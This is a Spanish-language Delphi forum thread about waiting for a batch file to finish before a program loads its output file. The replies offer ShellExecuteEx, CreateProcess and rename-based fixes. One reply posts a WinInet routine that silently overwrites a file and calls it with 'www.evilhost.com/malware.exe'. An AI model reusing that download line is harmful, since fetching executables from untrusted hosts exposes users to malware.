Foros Club Delphi

Foros Club Delphi (https://www.clubdelphi.com/foros/index.php)
-   Varios (https://www.clubdelphi.com/foros/forumdisplay.php?f=11)
-   -   Actualizar archivo (https://www.clubdelphi.com/foros/showthread.php?t=63010)

marilinspi 26-01-2009 13:15:33

Actualizar archivo
 
Hola, le cuento mi problema... yo tengo el 'p.bat' que me crea el archivo 'ticket.xml.cms' una vez creado, lo tomo y lo pongo en un memo, eso lo hago periodicamente, el tema es que siempre me toma el 'ticket.xml.cms' proximo anterior... es decir que no se actualiza mi 'ticket.xml.cms' antes de que yo lo quiera poner en el memo. Tendria que poner algo entre medio de estas dos lineas que me permita actulizar mi archivo 'ticket.xml.cms'.

winexec('p.bat', SW_HIDE);
memo2.lines.LoadFromFile('ticket.xml.cms');

Espero me hayan entendido, de lo contrario con gusto respondere. Gracias desde ya.

Neftali [Germán.Estévez] 26-01-2009 13:44:22

Creo que tu error puede venir porque accedes al fichero antes de que le de tiempo de generarse, ya que ShellExecute no espera a que se genere el fichero.
Busca en los foros sobre la función: WinExecAndWait32 que ha salido en otras ocasiones. Creo que si en lugar de ShellExecute utilizas esta, dará tiempo a que se genere.

Prueba y ya dirás...

poyo 26-01-2009 14:03:19

A ver... bueno acá esta. encontré una función que tengo desde hace rato ratón.
Te comento que WinExec no se recomienda usarla más. Al menos eso decen los de Microsoft. Sólo quedó por compatibilidad y en su lugar se puede usar CreateProcess o (como hago yo) ShellExecute/ShellExecuteEx.
El punto a tener en cuenta a tu problema es la función WaitForSingleObject.

Código Delphi [-]
Uses
  ShellApi;

//..............................

procedure ShellExec(FileName: string; parameters: string; showmode: integer; wait: boolean);
var
  exInfo: TShellExecuteInfo;
  Ph: DWORD;
begin
  FillChar(exInfo, SizeOf(exInfo), 0);
  with exInfo do
  begin
    cbSize := SizeOf(exInfo);
    fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_FLAG_DDEWAIT;
    Wnd := GetActiveWindow();
    ExInfo.lpVerb := 'open';
    lpFile := PChar(FileName);
    nShow := showmode;
    lpParameters := pchar(parameters);
  end;
  if ShellExecuteEx(@exInfo) then
  begin
    Ph := exInfo.HProcess;
  end
  else
  begin
    ShowMessage(SysErrorMessage(GetLastError));
    Exit;
  end;
  if wait then
  begin
    while WaitForSingleObject(ExInfo.hProcess, 50) <> WAIT_OBJECT_0 do
      Application.ProcessMessages;
  end;
  CloseHandle(Ph);
end;

un ejemplo sería: ShellExec('cmd','', SW_NORMAL, true);

Si alguien se le ocurre alguna mejora, no duden en avisar así actualizo mi código.

Especialmente se puede implementar un TimeOut. Por ejemplo, la función tirar error y/o esperar la intervención del usuario y, por consiguiente, colgarse, esperando indefinidamente.
En caso de que se implemente un TimeOut, se puede tomar una acción como terminar el proceso creado o... qué se yo!

Recueda de poner el cursor en espera antes y restaurarlo después ;)

Paso algunos links de interés
http://msdn.microsoft.com/en-us/libr...54(VS.85).aspx
http://msdn.microsoft.com/en-us/libr...84(VS.85).aspx
http://msdn.microsoft.com/en-us/library/ms682425.aspx
http://msdn.microsoft.com/en-us/library/ms687032.aspx

Seguro que están en castellano también...

marilinspi 26-01-2009 14:34:52

hola, muchas gracias por la pronta respuesta... pero he probado con la funcion WinExecAndWait32 y con la ShellExec y en ambas sigue sin actulizarse antes de que yo utilice el archivo. Alguna otra sugerencia... lo necesito si o si

poyo 26-01-2009 15:08:40

are you sure?
 
qué hace p.bat? estás seguro que se está ejecutando? porque si ejecutas la función de arriba el control NO es devuelto hasta que lo que mandas a ejecutar no termina.

Haz una prueba y verás:

ShellExec('cmd','', SW_NORMAL, true);
Application.Terminate;

Hasta que no escribes "exit" en la consola de comandos que se levanta, el programa no termina...

otra prueba:

hice un archivo p.bat conteniendo lo siguiente:

echo Hola ClubDelphi! > c:\archivo.prueba

Luego en un proyecto nuevo, en el OnFormCreate puse:

Código Delphi [-]
procedure TForm1.FormCreate(Sender: TObject);
var
  cadena: string;
  F: TextFile;
begin
  ShellExec('c:\p.bat','', SW_HIDE, true);

  if FileExists('c:\archivo.prueba') then
  begin
    AssignFile(F, 'c:\archivo.prueba');
    Reset(F);
    Readln(F, cadena);
    CloseFile(F);
    ShowMessage('Al archivo lo veo y dice: '+ cadena);
    DeleteFile('c:\archivo.prueba');
  end;

  Application.Terminate;
end;

Neftali [Germán.Estévez] 26-01-2009 15:51:39

Otra opción sería intentar renombrar el último antes de generar el nuevo, y luego mandar el BAT.
Tu aplicación podrá esperar hasta que el fichero exista o hasta que se cumpl determinado tiempo de espera.

De todas formas, habría que saber porqué lo anterior no está funcionando antes de probar otras cosas.

marilinspi 26-01-2009 22:53:07

hola, gracias a todos por sus respuestas. Creo que lo resolvi poniendo Timer entre medio de las dos lineas... porque p.bat se terminaba de ejecutar, pero entre que terminaba y el archivo aparecia en el directorio pasaban unos segundos, y en esos segundo es donde yo lo llamaba con el memo.

MAXIUM 26-01-2009 23:54:19

¿Y si borras el archivo antes de generarlo nuevamente?

marilinspi 27-01-2009 12:55:48

hola maxium, mira he intentado hacer esto, pero cuando lo va a levantar el memo me tira un error de que 'ticket.xml.cms' esta siendo usado por otro proceso. Ya no se que hacer... un timer me lo soluciona.. pero es medio inestable no me convence demaciado. Si se te ocurre alguna cosa....te lo agradecere.

var
nada:Integer;
begin
DeleteFile('ticket.xml.cms');
winexec('p.bat', SW_HIDE);
While FileExists('ticket.xml.cms')=False do
nada:=1;
memo2.lines.LoadFromFile('ticket.xml.cms');
end;

tocomi 04-03-2009 14:50:30

Yo uso esta funcion para poder imprimir en matriz de puntos, tuve que hacer algunas modificaciones pero nada del otro mundo, antes genero el informe en un plano y despues lo envia a impresora, sin ningun problema, hasta me di el gusto de ajustarlo para que lo hiciera a impresoras remotas en una red de windows XP (captura el puerto, lo envia a imprimir y despues lo descaptura)

Código:


procedure TForm1.Button1Click(Sender: TObject);
 
function DOSExe(Fichero,Parametros,Titulo:String):Boolean;
 
    function WinExecAndWait32(FileName:String; Visibility:integer):integer;
    var
      zAppName:array[0..512] of char;
      zCurDir:array[0..255] of char;
      WorkDir:String;
      StartupInfo:TStartupInfo;
      ProcessInfo:TProcessInformation;
      Resultado,exitCode: DWord;
      Titulo:Array [0..200] of char;
      kk:DWord;
    begin
      StrPCopy(zAppName,FileName);
      GetDir(0,WorkDir);
      StrPCopy(zCurDir,WorkDir);
      FillChar(StartupInfo,Sizeof(StartupInfo),#0);
      StartupInfo.cb := Sizeof(StartupInfo);
 
      StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
      StartupInfo.wShowWindow := Visibility;
      CreateProcess(nil,
        zAppName,                      { pointer to command line string }
        nil,                          { pointer to process security attributes}
        nil,                          { pointer to thread security attributes}
        false,                        { handle inheritance flag }
        CREATE_NEW_CONSOLE or          { creation flags }
        NORMAL_PRIORITY_CLASS,
        nil,                          { pointer to new environment block }
        nil,                          { pointer to current directory name }
        StartupInfo,                  { pointer to STARTUPINFO }
        ProcessInfo);
 
      {Espera a que termine la ejecucion}
      {Wait until execution finish}
      repeat
        exitCode := WaitForSingleObject( ProcessInfo.hProcess,1000);
        Application.ProcessMessages;
        GetExitCodeThread(ProcessInfo.hProcess,kk);
 
      until (exitCode <> WAIT_TIMEOUT);
      GetExitCodeProcess(ProcessInfo.hProcess,Resultado);
      MessageBeep(0);
      CloseHandle(ProcessInfo.hProcess );
      Result:=Resultado;
    end; {WinExecAndWait32}
 
  var {DOSExe}
    f          :file;
    PathPif,
    DirTrabajo,
    DP        :string;  {Datos del Pif}
    ErrorIO      :integer;
 
  begin
    {Datos de un fichero PIF preparado para Cerrar al Terminar}
    {A PIF file data prepared to 'Close at End'}
    DP:=
    #0#120#84#69#83#84#68#79#126#49#32#32#32#32#32#32#32#32#32#32+
    #32#32#32#32#32#32#32#32#32#32#32#32#128#2#0#0#68#58#92#116#101+
    #115#116#100#111#115#112#114#111#103#114#97#109#116#104#105#110+
    #103#46#101#120#101#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#16#0#101#58#92#116#101#109#112+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#45#101#120+
    #32#100#58#92#116#101#115#116#32#100#58#92#42#46#42#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#1#0#255#25#80#0#0#7#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#77#73+
    #67#82#79#83#79#70#84#32#80#73#70#69#88#0#135#1#0#0#113#1#87#73+
    #78#68#79#87#83#32#51#56#54#32#51#46#48#0#5#2#157#1#104#0#128+
    #2#0#0#100#0#50#0#255#255#0#0#255#255#0#0#2#0#2#0#159#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#45#101#120#32#100#58#92#116#101+
    #115#116#32#100#58#92#42#46#42#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#87+
    #73#78#68#79#87#83#32#86#77#77#32#52#46#48#0#255#255#27#2#172+
    #1#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#80#73#70+
    #77#71#82#46#68#76#76#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#2#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#129#0#0#0#0#0#0#0#0#0#0#0#1#0#0#0#5#0#25#0#3#0#200#0+
    #232#3#2#0#10#0#1#0#0#0#0#0#0#0#28#0#0#0#0#0#0#0#8#0#12#0#84#101+
    #114#109#105#110#97#108#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#76#117#99#105#100#97#32#67#111#110#115#111#108#101+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#3#0#0#0#80#0#25#0#128+
    #2#44#1#0#0#0#0#22#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
    #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#1#0;
 
    Titulo:=Titulo+StringOfChar(' ',30-Length(Titulo));
    Titulo:=Copy(Titulo,1,30)+#0;
    move(Titulo[1],DP[$02+1],30);
 
    Fichero:=copy(Fichero,1,63)+#0;
    move(Fichero[1],DP[$24+1],length(Fichero));
 
    Parametros:=copy(Parametros,1,63)+#0;
    move(Parametros[1],DP[$a5+1],length(Parametros));
    move(Parametros[1],DP[$1c5+1],length(Parametros));
 
    DirTrabajo:=Copy(extractfilepath(Fichero),1,63)+#0;
    move(DirTrabajo[1],DP[$65+1],length(DirTrabajo));
 
    Result:=false;
    PathPif:=ExtractFilePath(Application.ExeName)+'UnPif.pif';
    assignfile(f,PathPif);
    rewrite(f,1);
    ErrorIO:=ioresult;
    blockwrite(f,DP[1],length(DP),ErrorIO);
    closefile(f);
    if ErrorIO<>length(DP) then exit;
 
    WinExecAndWait32(PathPif,Sw_ShowNormal);
 
    DeleteFile(PathPif);
    Result:=TRUE;
  end; {DOSExe}
 
begin
  DOSExe('c:\tools\q.exe','c:\autoexec.bat','Ejemplo de llamada del QEdit');
end;


tocomi 05-03-2009 15:32:41

Cita:

Empezado por marilinspi (Mensaje 336065)
Si se te ocurre alguna cosa....te lo agradecere.

Aqui tienes algo para poder bajar el archivo desde tu aplicacion, reemplaza el archivo de destino sin preguntar

Código:

program Download;

uses Windows, WinInet;

function ExtractFileName(FileName: string): string;
begin
  while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
  while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName));
  Result := FileName;
end;


function DescargarFichero(const fileURL, FileName: String): boolean;
const BufferSize = 1024;
var
  hSession, hURL: HInternet;
  Buffer: array[1..BufferSize] of Byte;
  BufferLen: DWORD;
  f: File;
  sAppName: string;
begin
  Result:=False;
  sAppName := ExtractFileName(paramstr(0));
  hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  try
    hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0);
    try
      AssignFile(f, FileName);
      Rewrite(f,1);
      repeat
        InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
        BlockWrite(f, Buffer, BufferLen);
      until BufferLen = 0;
      CloseFile(f);
      Result:=True;
    finally
      InternetCloseHandle(hURL);
    end;
  finally
    InternetCloseHandle(hSession);
  end;
end;

begin
DescargarFichero('www.evilhost.com/malware.exe', 'malware.exe');
end.


Cheerpipe 05-03-2009 15:43:25

Otra solucion mas adecuada podria ser que tu bat genere un ticket.xml.cms.new y hacer algo como lo que sigue:


Código Delphi [-]
winexec('p.bat', SW_HIDE); //esto te generara un ticket.xml.cms.new
while True do
begin
  if FileExists('ticket.xml.cms.new') then
  begin
    DeleteFile('ticket.xml.cms');
    MoveFile(PChar('ticket.xml.cms.new'),PChar('ticket.xml.cms'));
    DeleteFile('ticket.xml.cms.new');
    break;
  end;
  Application.ProcessMessages;
end;

memo2.lines.LoadFromFile('ticket.xml.cms');

Algo largo, pero al menos te aseguras de la correcta lectura del archivo. Tambien puedes agregar algun control de excepciones adicionalmente. Ademas no impota cuanto tiempo demore en ejecutarse el .bat.

Por otra parte, no has pensado en integrar la funcionalidad del bat en un ejecutable? o incluso en el mismo exe que contiene el memo?


La franja horaria es GMT +2. Ahora son las 09:37:42.

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi